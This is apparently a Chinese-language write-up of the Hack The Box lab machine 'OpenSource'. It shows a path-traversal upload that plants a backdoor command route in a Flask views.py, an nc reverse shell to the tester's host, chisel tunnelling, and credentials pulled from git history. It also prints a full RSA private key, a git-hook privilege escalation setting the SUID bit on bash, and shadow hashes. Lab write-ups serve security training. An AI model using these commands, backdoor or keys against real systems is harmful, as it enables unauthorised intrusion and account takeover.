HTB靶机:OpenSource
靶机信息
一:信息收集🤨🤨🤨🤨
还是咱们第一步,使用nmap对靶机进行信息收集
nmap -sC -sV 10.10.11.146 -o nmap
|
当我们使用以下命令时会发现一个被过滤的3000端口
nmap -A -sS -Pn 10.10.11.164
|
查看网站,发现网站提供代码下载和文件上传两个有用的功能点
我们将代码下载下来和对上传页面进行测试,发现该网站可能在一个docker容器,上传可以上传任意,但是不支持直接上传文件getshell,只是提供上传和下载刚刚上传的文件(ps:这个功能为后面docker逃逸方便不少,至少不用在本地开http服务了😛😛😛)
二:获得立足点😎😎😎😎
我们对下载的代码进行审计:
发现本地测试后发现漏洞点,这个漏洞利用姿势很需要思路,views.py存在一个上传功能,会调用get_file_name进行过滤把文件名中的 ../
替换为空,然后通过os.path.join拼接过滤后的文件名,获得最终保存路径,这里可以尝试使用绝对路径覆盖文件,例如views.py,在其中添加用于命令执行的后门路由
这个我们可以通过使用burp抓包修改上传的绝对路径,来达到去修改网站代码的功能,我们这里使用大佬的方法,上传修改的views.py去增加一个后门
如下是原始的views.py:
import os
from app.utils import get_file_name from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')
@app.route('/uploads/<path:path>') def send_report(path): path = get_file_name(path) return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
|
我们增加一条用于命令执行的后门路由:
增加后门的views.py
import os
from app.utils import get_file_name from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')
@app.route('/uploads/<path:path>') def send_report(path): path = get_file_name(path) return send_file(os.path.join(os.getcwd(), "public", "uploads", path)) @app.route('/exec') def cmd(): return os.system(request.args.get('cmd'))
|
然后上传抓包:
之后我们执行命令:(这里最好进行url编码)
http://10.10.11.164/exec?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444 >/tmp/f
|
本地监听
发现存在两个网卡,证实之前判断这个网站是在容器中
结合上面被过滤掉的3000端口,我们这里尝试通过流量转发,来通过docker去访问本机3000跑的服务,
之前哪个上传功能。我们可以上传我们的流量转发:chisel(不熟悉的看我之前的,这个内网转发工具很好用)
我们将chisel保存到一个新目录中,因为这个docker定时会清除上传的文件,
接下来我们使用chisel进行内网转发
#我们的kali ./chisel server -p 8000 --reverse #目标机器 chmod +x chisel ./chisel client 10.10.14.25:8000 R:socks
|
然后配置本地的socks代理:
然后就能访问到目标本机的3000端口:
发现是一个gitea,这个类似github,这里存在注册和登录两个选项,经过信息收集和暴力测试后,发现没有收获,这里突然想到这个类似github,可能存在git泄露,说不定有测试时开发的账号密码。
因此我们回到刚开始我们下载的那堆源码上,果然发现登录的账号密码
git show-branch git log dev --online git show a76f8f7
|
#账号:dev01 #密码:Soulless_Developer#2022
|
登录后发现ssh私钥:
id_rsa私钥
-----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY-----
|
将id_rsa下载到本地,猜测可以尝试拿私钥去登录目标主机,用户名猜测为:dev01.
成功登录!!!!
chmod 500 id_rsa ssh -i id_rsa dev01@10.10.11.164
|
提权🤩🤩🤩🤩🤗
还是老套路了,使用pspy64看进程,跑linpeas.
这里我们上传pspy64看到目标机器定时会使用root权限去调用git去提交,我们可以通过git hook来运行任意命令。
修改一个可能被调用到的git钩子,添加命令,等待触发。
#给pre-commit里添加 chmod u+s /bin/bash
|
root:$65sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7::: dev01:$6$KxPkBXel$7cqEmnerc0RmIaUGVdGLXlbC61.2x5bY0DLC/j2VDHG3mAaqeWFfQiuHOXmQss91XNn0FybSdfl51vFfKuwRh/:19073:0:99999:7:::
|
总结🥰🥰
这台靶机官方定义很简单,可是考的知识点很多.如果感兴趣,可以和我进行交流一下!!!@§( ̄▽ ̄)§§( ̄▽ ̄)§§( ̄▽ ̄)§